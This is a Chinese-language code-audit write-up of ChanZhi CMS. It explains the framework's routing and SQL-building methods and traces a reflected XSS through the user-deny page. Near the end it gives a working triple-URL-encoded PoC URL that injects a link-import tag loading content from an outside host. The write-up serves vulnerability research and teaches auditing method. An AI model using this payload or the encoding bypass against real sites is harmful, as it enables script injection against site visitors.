蝉知cms代码审计小记

路由

打开index.php，观察到框架首先解析了请求，然后检查了权限（跟踪进去能看见具体有哪些模块是前台可以直接访问的，哪些是guest可以访问的），最后加载模块。

```
$app->parseRequest();
$common->checkPriv();
$app->loadModule();
```

跟进去就可以发现路由是什么样，这里直接给结论，默认根据REQUEST_TYPE路由,前台REQUEST_TYPE为PATH_INFO,后台为GET，若RequestType为PATH_INFO，则路由为/index.php/model-function-param1-param2...

若RequestType为GET，则取参数m、f为model与function，主要看前台。

DAO

cms中最有价值的是直接getshell与sql注入，首先审计sql注入，mvc架构中sql语句由特定方法拼接，按照规范来很难出问题，所以首先看sql是如何拼接的，打开dao.class.php，纵观所有方法，我们可以发现，

1.data方法对传入的对象检查，如果属性名出现非字母直接销毁属性，如果非，拼接sql语句，对属性值做addslashes处理。

2.set方法直接增加字段 拼接到sql中 危险方法

3.eq，拼接等于号的，经过addslashes处理

4.其余没有处理过的地方均为表明或字段名传入的地方，不排除但是基本没有

综上所述，若在set方法中传入变量则有可能导致sql注入，全局搜索"->set("，找到两处可以传入变量的地方，一处已经由乐师傅审计得到一个注入（http://www.yqxiaojunjie.com/index.php/archives/308/），具体看乐师傅的文章，不再详谈，另一处是package model中不会被用到的一个方法，还有一处代入的是数字。

输出位置

这个还没怎么找就挖到了一个，还是比较凑巧的，本来在调试一个user中的方法，结果断点没断下来，发现自己没登录，就单步调跟过去，发现调用了不允许的方法的时候会自动调用user中的deny方法，在看路由的时候发现对传入的内容urldecode了一次再strip_tags,看了下该页面的输出点

```
输入：index.php/user-deny-1-2
输出1：<link rel="alternate" media="only screen and (max-width: 640px)" href="http://localhost/chanzhieps/index.php/user-deny-1-2-.mhtml">
输出2：<p>抱歉，您无权访问『<b>1</b>』模块的『<b>2</b>』功能。请联系管理员获取权限。点击后退返回上页。<br/> 5秒钟后将自动返回首页...</p>
```

经跟踪输出1的来源在/system/module/user/control.php 259行

```
        $this->view->mobileURL        = helper::createLink('user', 'deny', "module=$module&method=$method&referer=$refererBeforeDeny", '', 'mhtml');
        $this->view->desktopURL       = helper::createLink('user', 'deny', "module=$module&method=$method&referer=$refererBeforeDeny", '', 'html');

```

mobileURL的第三个参数是可以控制的，其中$method与$refererBeforeDeny均为可控参数
跟入createLink函数/system/fremework/helper.class.php 38行

```
    static public function createLink($moduleName, $methodName = 'index', $vars = '', $alias = array(), $viewType = '')
    {
        global $app, $config;
        $clientLang = $app->getClientLang();
        $lang       = $config->langCode;

        /* Set viewType is mhtml if visit with mobile.*/
        if(!$viewType and RUN_MODE == 'front' and $app->clientDevice == 'mobile' and $methodName != 'oauthCallback') $viewType = 'mhtml';

        /* Set vars and alias. */
        if(!is_array($vars)) parse_str($vars, $vars);
        if(!is_array($alias)) parse_str($alias, $alias);
        foreach($alias as $key => $value) $alias[$key] = urlencode($value);

        /* Seo modules return directly. */
        if($config->requestType != 'GET' and method_exists('uri', 'create' . $moduleName . $methodName))
        {
            if($config->requestType == 'PATH_INFO2') $config->webRoot = $_SERVER['SCRIPT_NAME'] . '/';
            $link = call_user_func_array('uri::create' . $moduleName . $methodName, array('param'=> $vars, 'alias'=>$alias, 'viewType'=>$viewTyp
e));

            /* Add client lang. */
            if($lang and $link) $link = $config->webRoot .  $lang . '/' . substr($link, strlen($config->webRoot));

            if($config->requestType == 'PATH_INFO2') $config->webRoot = getWebRoot();
            if($link) return $link;
        }

        /* Set the view type. */
        if(empty($viewType)) $viewType = $app->getViewType();
        if($config->requestType == 'PATH_INFO')  $link = $config->webRoot;
        if($config->requestType == 'PATH_INFO2') $link = $_SERVER['SCRIPT_NAME'] . '/';
        if($config->requestType == 'GET') $link = $_SERVER['SCRIPT_NAME'];
        if($config->requestType != 'GET' and $lang) $link .= "$lang/";

        /* Common method. */
        if($config->requestType != 'GET')
        {
            /* If the method equal the default method defined in the config file and the vars is empty, convert the link. */
            if($methodName == $config->default->method and empty($vars))
            {
                /* If the module also equal the default module, change index-index to index.html. */
                if($moduleName == $config->default->module)
                {
                    $link .= 'index.' . $viewType;
                }
                elseif($viewType == $app->getViewType())
                {
                    $link .= $moduleName . '/';
                }
                else
                {
                    $link .= $moduleName . '.' . $viewType;
                }
            }
```

```
            else
            {
                $link .= "$moduleName{$config->requestFix}$methodName";
                foreach($vars as $value) $link .= "{$config->requestFix}$value";
                $link .= '.' . $viewType;
            }
        }
        else
        {
            $link .= "?{$config->moduleVar}=$moduleName&{$config->methodVar}=$methodName";
            if($viewType != 'html') $link .= "&{$config->viewVar}=" . $viewType;
            foreach($vars as $key => $value) $link .= "&$key=$value";
            if($lang and RUN_MODE != 'admin') $link .= "&l=$lang";
        }
        return $link;
    }
```

我们控制的部分，也就是createLink的第三个参数$vars进入了

```
if(!is_array($vars)) parse_str($vars, $vars);
```

parse_str在解析字符串时自带url解码，于是造这里有了绕过的可能性，任何在此之前的过滤都是无效的。

那么路由url路由经过了怎样的过滤呢，跟踪进入/system/framework/base/router.class.php 1711行

```
    public function mergeParams($defaultParams, $passedParams)
    {
        /* Remove these two params. */
        unset($passedParams['onlybody']);
        unset($passedParams['HTTP_X_REQUESTED_WITH']);

        /* Check params from URL. */
        foreach($passedParams as $param => $value)
        {
            if(preg_match('/[^a-zA-Z0-9_\.]/', $param)) die('Bad Request!');
        }

        $passedParams = array_values($passedParams);
        $i = 0;
        foreach($defaultParams as $key => $defaultValue)
        {
            if(isset($passedParams[$i]))
            {
                $defaultParams[$key] = strip_tags(urldecode($passedParams[$i]));
            }
            else
            {
                if($defaultValue === '_NOT_SET') $this->triggerError("The param '$key' should pass value. ", __FILE__, __LINE__, $exit = true);
            }
            $i ++;
        }

        return $defaultParams;
    }
```

显然过滤部分在这里

```
            $defaultParams[$key] = strip_tags(urldecode($passedParams[$i]));
```

先urldecode一次再strip_tags去除html标签，看似万无一失，但是因为在head部分输出的mobileURL本身就会url解码一次（详情见上），所以这里可以通过三次编码绕过

1.传递给服务端解码一次
2.通过路由解码一次，通过strip_tags
3.生成mobileLink时又解码了一次，完整输出到head中

PoC：index.php/user-deny-%22%25253E%25253Clink%252520rel%25253D%252522import%252522%252520href%25253D%252522https%25253Awww%25252emelodia%25252epw%25252f%25253%25253E

于是这里就构造了一个xss

本篇小记总结两个点
1.寻找mvc中的sql注入先看sql语句是如何拼接的，为了防止出现坑也最好看看框架入口对输入做了怎样的处理，看完如何拼接后总结可能是怎样的利用，怎样的就基本不可能利用，再构造一个正则全局搜索，相信可以节约大量的时间。

2.挖掘xss：从输出看大致过滤，再看入口如何过滤，再完整的跟踪一遍，思考可能出现的绕过方法。

与圈友分享一些拙见，代码审计经验尚浅，还望多多交流